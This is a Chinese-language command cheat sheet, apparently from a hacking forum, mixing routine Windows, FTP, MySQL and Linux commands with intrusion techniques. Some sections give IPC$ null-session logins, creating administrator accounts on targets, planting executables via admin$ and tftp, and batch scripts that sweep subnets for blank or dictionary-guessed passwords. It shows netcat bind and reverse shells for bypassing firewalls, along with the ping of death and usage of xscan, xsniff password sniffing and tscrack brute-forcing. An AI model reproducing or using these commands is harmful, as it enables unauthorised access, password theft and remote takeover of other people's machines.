26.lcd[dir]：將本地工作目錄切換至dir。
27.ls[remote-dir][local-file]：顯示遠端目錄remote-dir， 並存入本地檔案local-file。
28.macdef macro-name：定義一個宏，遇到macdef下的空行時，巨集定義結束。
29.mdelete[remote-file]：刪除遠端主機檔案。
30.mdir remote-files local-file：與dir類似，但可指定多個遠端檔案，如 ：mdir *.o.*.zipoutfile 。
31.mget remote-files：傳輸多個遠端檔案。
32.mkdir dir-name：在遠端主機中建一目錄。
33.mls remote-file local-file：同nlist，但可指定多個檔案名。
34.mode[modename]：將檔案傳輸方式設定為modename， 缺省為stream方式。
35.modtime file-name：顯示遠端主機檔案的最後修改時間。
36.mput local-file：將多個檔案傳輸至遠端主機。
37.newer file-name： 如果遠端機中file-name的修改時間比本地硬碟同名檔案的時間更近，則重傳該檔案。
38.nlist[remote-dir][local-file]：顯示遠端主機目錄的檔案清單，並存入本地硬碟的local-file。
39.nmap[inpattern outpattern]：設定檔案名映射機制， 使得檔案傳輸時，檔案中的某些字元相互轉換， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，則傳輸文件a1.a2.a3時，檔案名變為a1，a2。 該命令特別適用于遠端主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]：設定檔案名字元的翻譯機制，如ntrans1R，則檔案名LLL將變為RRR。
41.open host[port]：建立指定ftp伺服器連接，可指定連接埠。
42.passive：進入被動傳輸方式。
43.prompt：設定多個檔案傳輸時的交互提示。
44.proxy ftp-cmd：在次要控制連接中，執行一條ftp命令， 該命令允許連接兩個ftp伺服器，以在兩個伺服器間傳輸檔案。第一條ftp命令必須為open，以首先建立兩個伺服器間的連接。
45.put local-file[remote-file]：將本地檔案local-file傳送至遠端主機。
46.pwd：顯示遠端主機的當前工作目錄。
47.quit：同bye，退出ftp會話。
48.quote arg1，arg2...：將參數逐字發至遠端ftp伺服器，如：quote syst.
49.recv remote-file[local-file]：同get。
50.reget remote-file[local-file]：類似於get， 但若local-file存在，則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]：請求獲得遠端主機的幫助。
52.rstatus[file-name]：若未指定檔案名，則顯示遠端主機的狀態， 否則顯示檔案狀態。
53.rename[from][to]：更改遠端主機檔案名。
54.reset：清除回答佇列。
55.restart marker：從指定的標誌marker處，重新開始get或put，如：restart 130。
56.rmdir dir-name：刪除遠端主機目錄。
57.runique：設定檔案名只一性存儲，若檔案存在，則在原文件後加尾碼.1， .2等。
58.send local-file[remote-file]：同put。
59.sendport：設定PORT命令的使用。
60.site arg1，arg2...：將參數作為SITE命令逐字發送至遠端ftp主機。
61.size file-name：顯示遠端主機檔案大小，如：site idle 7200。
62.status：顯示當前ftp狀態。
63.struct[struct-name]：將檔案傳輸結構設定為struct-name， 缺省時使用stream結構。
64.sunique：將遠端主機檔案名存儲設定為只一(與runique對應)。
65.system：顯示遠端主機的作業系統類型。
66.tenex：將檔案傳輸類型設定為TENEX機的所需的類型。
67.tick：設定傳輸時的位元組計數器。
68.trace：設定包跟蹤。
69.type[type-name]：設定檔案傳輸類型為type-name，缺省為ascii，如:type binary，設定二進位傳輸方式。
70.umask[newmask]：將遠端伺服器的缺省umask設定為newmask，如：umask 3
71.user user-name[password][account]：向遠端主機表明自己的身份，需要口令時，必須輸入口令，如：user anonymous my@email。
72.verbose：同命令行的-v參數，即設定詳盡報告方式，ftp 伺服器的所有響 應都將顯示給用戶，缺省為on.
73.?[cmd]：同help.
#11 十一：
7：電腦執行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程式
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程式
wscript--------windows腳本宿主設定
write----------寫字板winmsd-----系統資訊
wiaacmgr-------掃描器和照相機嚮導
winchat--------XP自帶局域網聊天
mem.exe--------顯示記憶體使用情況
Msconfig.exe---系統配置實用程式
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠端桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程式
mmc------------打開控制臺
mobsync--------同步命令
dxdiag---------檢查DirectX資訊
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁片碎片整理程式
diskmgmt.msc---磁片管理實用程式
dcomcnfg-------打開系統元件服務
ddeshare-------打開DDE共用設定
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具嚮導
ntbackup-------系統備份和還原
narrator-------螢幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面
syncapp--------創建一個公事包
sysedit--------系統組態編輯程式
sigverif-------檔案簽名驗證程式
sndrec32-------答錄機
shrpubw--------創建共用資料夾
secpol.msc-----本地安全策略
syskey---------系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc---本地服務設定
Sndvol32-------音量控制程式
sfc.exe--------系統檔案檢查器
sfc /scannow---windows檔案保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介（安裝完成後出現的漫遊xp程式）
taskmgr--------任務管理器
eventvwr-------事件檢視器
eudcedit-------造字程式
explorer-------打開資源管理器
packager-------物件包裝程式
perfmon.msc----電腦性能監測程式
progman--------程式管理器
regedit.exe----註冊表
rsop.msc-------組策略結果集
regedt32-------註冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll檔案執行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁片檢查
certmgr.msc----證書管理實用程式
calc-----------啟動計算器
charmap--------啟動字元對應表
cliconfg-------SQL SERVER 用戶端網路實用程式
Clipbrd--------剪貼板檢視器
conf-----------啟動netmeeting
compmgmt.msc---電腦管理
cleanmgr-------**整理
ciadv.msc------索引服務程式
osk------------打開螢幕鍵盤
odbcad32-------ODBC資料源管理器
oobe/msoobe /a----檢查XP是否啟動
lusrmgr.msc----本機用戶和組
logoff---------註銷命令
iexpress-------木馬捆綁工具，系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共用文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈結
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈結
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C：到本地為H:
net use h: \\ip\c$ 登陸後映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 啟動guest用戶
net user 檢視有哪些用戶
net user 帳戶名 檢視帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員許可權,注意：administrator後加s用複數
net start 檢視開啟了哪些服務
net start 服務名 開啟服務；(如:net start telnet， net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 檢視對方時間
net time \\目標ip /set 設定本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認資訊
net view 檢視本地局域網內開啟了哪些共用
net view \\ip 檢視對方局域網內開啟了哪些共用
net config 顯示系統網路設定
net logoff 斷開連接的共用
net pause 服務名 暫停某服務
net send ip "文本資訊" 向對方發資訊
net ver 局域網內正在使用的網路連接類型和資訊
net share 檢視本地開啟的共用
net share ipc$ 開啟ipc$共用
net share ipc$ /del 刪除ipc$共用
net share c$ /del 刪除C：共用
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 檢視開啟了哪些埠,常用netstat -an
netstat -n 檢視埠的網路連接情況，常用netstat -an
netstat -v 檢視正在進行的工作
netstat -p 協議名 例：netstat -p tcq/ip 檢視某協定使用情況（檢視tcp/ip協定使用情況）
netstat -s 檢視正在使用的所有協定使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話，就可檢視對方最近登陸的用戶名（03前的為用戶名）-注意：參數-A要大寫
tracert -參數 ip(或電腦名) 跟蹤路由（資料包），參數：“-w數位”用於設定超時間隔。
ping ip(或功能變數名稱) 向對方主機發送預設大小為32位元組的資料，參數：“-l[空格]數據包大小”；“-n發送資料次數”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)檢視本地ip地址，ipconfig可用參數“/all”顯示全部配置資訊
tlist -t 以樹行列表顯示進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools資料夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools資料夾內)
del -F 檔案名 加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、存檔案檔案，/A-R、/A-H、/A-S、/A-A表示刪除除唯讀、隱藏、系統、存檔案以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有唯讀檔案，“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
#2 二：
del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔案。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。（二個命令作用相同）
move 盤符\路徑\要移動的檔案名 存放移動檔案的路徑\移動後檔案名 移動檔案,用參數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔案並把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計畫任務
at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計畫任務
at 檢視所有的計畫任務
at \\ip time 程式名(或一個命令) /r 在某時間執行對方某程式並重新啟動電腦
finger username @host 檢視最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,預設埠為23
open ip 連接到IP（屬telnet登陸後的命令）
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔案名1 路徑\檔案名2 /y 複製檔案1到指定的目錄為檔案2，用參數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案，注：2st.txt文件頭要空三排，參數：/b指二進位檔案，/a指ASCLL格式檔案
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共用下的srv.exe檔案（所有檔案）至本地C：
xcopy 要複製的檔案或目錄樹 目標位址\目錄名 複製檔案和目錄樹，用參數/Y將不提示覆蓋相同檔案
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後，將“IP”的server.exe下載到目標主機c:\server.exe 參數：-i指以二進位模式傳送，如傳送exe檔案時用，如不加-i 則以ASCII模式（傳送文字檔案模式）進行傳送
tftp -i 對方IP put c:\server.exe 登陸後，上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳檔案至伺服器或進行檔案操作，預設埠為21。bin指用二進位方式傳送（可執行檔案進）；預設為ASCII格式傳送(文字檔案時)
route print 顯示出IP路由，將主要顯示網路位址Network addres，子網路遮罩Netmask，閘道位址Gateway addres，介面位址Interface
arp 檢視和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC位址。arp -a將顯示出全部資訊
start 程式名或命令 /max 或/min 新開一個新視窗並最大化（最小化）執行某程式或命令
mem 檢視cpu使用情況
attrib 檔案名(目錄名) 檢視某檔案（目錄）的屬性
attrib 檔案名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔案的 存檔案，唯讀，系統，隱藏 屬性；用＋則是添加為某屬性
dir 檢視文件，參數：/Q顯示檔案及目錄屬系統哪個用戶，/T:C顯示檔案創建時間，/T:A顯示檔案上次被訪問時間，/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間，而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設定環境變數
set 顯示當前所有的環境變數
set p(或其他字元) 顯示出當前以字元p(或其他字元)開頭的所有環境變數
pause 暫停批次處理程式，並顯示出：請按任意鍵繼續....
if 在批次處理程式中執行條件處理（更多說明見if命令及變數）
goto 標籤 將cmd.exe導向到批次處理程式中帶標籤的行（標籤必須單獨一行，且以冒號打頭，例如：“：start”標籤）
call 路徑\批次檔案名 從批次處理程式中調用另一個批次處理程式 （更多說明見call /?）
for 對一組檔案中的每一個檔案執行某個特定命令（更多說明見for命令及變數）
echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設定
echo 資訊 在螢幕上顯示出資訊
echo 信息 >> pass.txt 將"資訊"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt檔案中尋找字串hello
find 檔案名 查找某檔案
title 標題名字 更改CMD窗口標題名字
color 顏色值 設定cmd控制臺前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為：EntSky\ )
#3 三：
ver 在DOS視窗下顯示版本資訊
winver 彈出一個視窗顯示版本資訊（記憶體大小、系統版本、補丁版本、電腦名）
format 盤符 /FS:類型 格式化磁片,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目錄名 創建目錄
replace 原始檔案 要替換檔案的目錄 替換檔案
ren 原檔案名 新檔案名 重命名檔案名
tree 以樹形結構顯示出目錄，用參數-f 將列出第個資料夾中檔案名稱
type 檔案名 顯示文字檔案的內容
more 檔案名 逐屏顯示輸出檔案
doskey 要鎖定的命令＝字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調用win2k命令，並創建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁片D並顯示狀態報告；加參數/f並修復磁片上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務預設埠23為其他任何埠
exit 退出cmd.exe程式或目前，用參數/B則是退出當前批次處理腳本而不是cmd.exe
path 路徑\可執行檔案的檔案名 為可執行檔案設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數：/eff、/en 關閉、開啟命令擴展；更我詳細說明見cmd /?
regedit /s 註冊表檔案名 導入註冊表；參數/S指安靜模式導入，無任何提示；
regedit /e 註冊表檔案名 導出註冊表
cacls 檔案名 參數 顯示或修改檔案訪問控制列表（ACL）——針對NTFS格式時。參數：/D 用戶名:設定拒絕某用戶訪問；/P 用戶名:perm 替換指定用戶的訪問許可權；/G 用戶名:perm 賦予指定用戶訪問許可權；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F 完全控制；例：cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 檔案名 檢視檔案的訪問用戶許可權列表
REM 文本內容 在批次檔案中添加注解
netsh 檢視或更改本地網路配置情況
#4 四：
IIS服務命令：
iisreset /reboot 重啟win2k電腦（但有提示系統將重啟資訊出現）
iisreset /start或stop 啟動（停止）所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用（禁用）Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時，若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務，將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間（秒）時，仍未停止Internet服務，若指定/rebootonerror參數，則電腦將會重新開機。預設值為重新啟動20秒，停止60秒，重新開機0秒。
FTP 命令： (後面有詳細說明內容)
ftp的命令行格式為:
ftp －v －d －i －n －g[主機名] －v 顯示遠端伺服器的所有回應資訊。
－d 使用調試方式。
－n 限制ftp的自動登錄,即不使用.netrc文件。
－g 取消全局檔案名。
help [命令] 或 ？[命令] 檢視命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔案名 [上傳到主機上的檔案名] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠端主機檔案名] [下載到本地後的檔案名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(缺省值)
bin 或 image 設定以二進位方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠端伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔案名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義巨集命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔案名到本地機器中,全部轉換為小寫字母
cd remote－dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本地機中執行交互shell，exit回到ftp環境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主機位址 -u用戶名 －p密碼 連接MYSQL;如果剛安裝好MYSQL，超級用戶root是沒有密碼的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格，其他也一樣）
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。（注意：和上面不同，下面的因為是MYSQL環境中的命令，所以後面都帶一個分號作為命令結束符）
show databases; 顯示資料庫列表。剛開始時才兩個資料庫：mysql和test。mysql庫很重要它裏面有MYSQL的系統資訊，我們改密碼和新增用戶，實際上就是用這個庫進行操作。
use mysql；
show tables; 顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名; 建庫
use 庫名；
create table 表名 (欄位設定列表)； 建表
drop database 庫名;
drop table 表名； 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份資料庫：（命令在DOS的\\mysql\\bin目錄下執行）;注釋:將資料庫school備份到school.bbb文件，school.bbb是一個文字檔案，檔案名任取，打開看看你會有新發現。
win2003系統下新增命令（實用部份）：
shutdown /參數 關閉或重啟本地或遠端主機。
參數說明：/S 關閉主機，/R 重啟主機， /T 數位 設定延時的時間，範圍0～180秒之間， /A取消開機，/M //IP 指定的遠端主機。
例：shutdown /r /t 0 立即重啟本地主機（無延時）
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明：/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid，/IM 要終止的進程的進程名，/F 強制終止進程，/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前執行在本地和遠端主機上的進程、服務、服務各進程的進程識別字(PID)。
參數說明：/M 列出當前進程載入的dll檔案，/SVC 顯示出每個進程對應的服務，無參數時就只列出當前的進程。
#6 六：
Linux系統下基本命令： 要區分大小寫
uname 顯示版本資訊（同win2K的 ver）
dir 顯示當前目錄檔案,ls -al 顯示包括隱藏檔案（同win2K的 dir）
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄，注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔案名 檢視檔案內容
cat >abc.txt 往abc.txt檔案中寫上內容。
more 檔案名 以一頁一頁的方式顯示一個文字檔案。
cp 複製檔案
mv 移動文件
rm 檔案名 刪除檔案，rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄，目錄內沒有文檔案。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字串
diff 檔案檔案比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 檢視自己的帳號名稱
groups 檢視某人的Group
passwd 更改密碼
history 檢視自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 駭客通常用它來編譯C語言寫的檔案
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機（同win2K），當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器（同win2K）
附：批次處理命令與變數
1：for命令及變數 基本格式：
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數，如：%i ，而指定一個變數則用：%%i ，而調用變數時用：%i% ，變數是區分大小寫的（%i 不等於 %I）。
批次處理每次能處理的變數從%0—%9共10個，其中%0預設給批次檔案名使用，%1預設為使用此批次處理時輸入的的第一個值，同理：%2—%9指輸入的第2-9個值；例：net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組檔案，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值，第二個"1"指增長量，第三個"254"指結束值，即：從1到254；“(1 -1 254)”說明：即從254到1 }
command：指定對第個檔案執行的命令，如：net use命令；如要執行多個命令時，命令這間加：& 來隔開
command_parameters：為特定命令指定參數或命令行開關
IN (set)：指在(set)中取值；DO command ：指執行command
參數：/L 指用增量形式{ (set)為增量形式時 }；/F 指從文件中不斷取值，直到取完為止{ (set)為文件時，如(d:\pass.txt)時 }。
用法舉例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明：對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接，如果成功就把該IP存在test.txt中。
/L指用增量形式（即從1-254或254-1）；輸入的IP前面三位：*.*.*為批次處理預設的 %1；%%G 為變數(ip的最後一位）；& 用來隔開echo 和net use 這二個命令；| 指建立了ipc$後，在結果中用find檢視是否有"命令成功完成"資訊；%1.%%G 為完整的IP地址；(1 1 254) 指起始值，增長量，結止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為：ok.exe 說明：輸入一個IP後，用字典檔案d:\pass.dic來暴解d:\user.dic中的用戶密碼，直到檔案中值取完為止。%%i為用戶名；%1為輸入的IP位址（預設）。
#7 七：
2：if命令及變數 基本格式：
IF [not] errorlevel 數字 命令語句 如果程式執行最後返回一個等於或大於指定數位的退出編碼，指定條件為“真”。
例：IF errorlevel 0 命令 指程式執行後返回的值為0時，就值行後面的命令；IF not errorlevel 1 命令指程式執行最後返回的值不等於1，就執行後面的命令。
0 指發現並成功執行（真）；1 指沒有發現、沒執行（假）。
IF [not] 字串1==字串2 命令語句 如果指定的文本字串匹配（即：字串1 等於 字串2），就執行後面的命令。
例：“if "%2%"=="4" goto start”指：如果輸入的第二個變數為4時，執行後面的命令（注意：調用變數時就%變數名%並加" "）
IF [not] exist 檔案名 命令語句 如果指定的檔案名存在，就執行後面的命令。
例：“if not nc.exe goto end”指：如果沒有發現nc.exe文件就跳到":end"標籤處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字串1==字串2 命令語句 else 命令語句或 IF [not] exist 檔案名 命令語句 else 命令語句 加上：else 命令語句後指：當前面的條件不成立時，就指行else後面的命令。注意：else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來，因為del命令要單獨一行時才能執行，用上< >後就等於是單獨一行了；例如：“if exist test.txt.
（二）系統外部命令(均需下載相關工具)：
1、瑞士軍刀：nc.exe
參數說明：
-h 檢視幫助資訊
-d 後臺模式
-e prog程式重定向，一但連接就執行［危險］
-i secs延時的間隔
-l 監聽模式，用於入站連接
-L 監聽模式，連接天閉後仍然繼續監聽，直到CTR+C
-n IP位址，不能用功能變數名稱
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠端埠
-t 使用Telnet對話模式
-u UDP模式
-v 詳細輸出，用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入，輸出關掉（用於掃錨時）
基本用法：
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
進階用法：
nc -L -p 80 作為蜜罐用1：開啟並不停地監聽80埠，直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2：開啟並不停地監聽80埠，直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中，亦可起到傳送檔案作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送檔案作用
本機上用：nc -l -p 本機埠
在對方主機上用：nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用：nc -d -l -p 本機埠 < 要傳送的檔案路徑及名稱
在對方主機上用：nc -vv 本機IP 本機埠 > 存放檔案的路徑及名稱 傳送檔案到對方主機
備 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
＠ 表示執行＠後面的命令，但不會顯示出來（後臺執行）；例：＠dir c:\winnt >> d:\log.txt 意思是：後臺執行dir，並把結果存在d:\log.txt中
>與>>的區別 ">"指：覆蓋；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看：用>>的則是把二次的結果都保存了，而用：>則只有一次的結果，是因為第二次的結果把第一次的覆蓋了。
#8 八：
2、掃錨工具：xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測專案> [其他選項] 掃錨"起始IP到終止IP"段的所有主機資訊
xscan -file <主機列表檔案名> <檢測專案> [其他選項] 掃錨"主機IP列表檔案名"中的所有主機資訊
檢測項目
-active 檢測主機是否存活
-os 檢測遠端作業系統類型（通過NETBIOS和SNMP協議）
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其他選項
-i 適配器編號 設定網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有回應的主機
-o 跳過沒有檢測到開放埠的主機
-t 併發線程數量,併發主機數量 指定最大併發線程數量和併發主機數量, 預設數量為100,10
-log 檔案名 指定掃描報告檔案名 (尾碼為：TXT或HTML格式的檔案)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞，跳過無回應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準埠狀態，NT弱口令用戶，最大併發線程數量為150，跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”檔案中列出的所有主機的標準埠狀態，CGI漏洞，最大併發線程數量為200，同一時刻最多檢測5台主機，顯示詳細檢測進度，跳過沒有檢測到開放埠的主機
#9 九：
3、命令行方式嗅探器: xsniff.exe
可捕獲局域網內FTP/SMTP/POP3/HTTP協定密碼
參數說明
-tcp 輸出TCP資料報
-udp 輸出UDP資料報
-icmp 輸出ICMP資料報
-pass 過濾密碼資訊
-hide 後臺執行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 檔案名 將輸出保存到檔案
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後臺執行嗅探密碼並將密碼資訊保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp資訊並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本資訊
-s 在螢幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接（多線程）
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用－f後面的密碼
-F 間隔時間（頻率）
-l 使用－l後面的用戶名
-w 使用－w後面的密碼字典
-p 使用－p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠端用密碼字典檔案暴破主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠端登陸192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
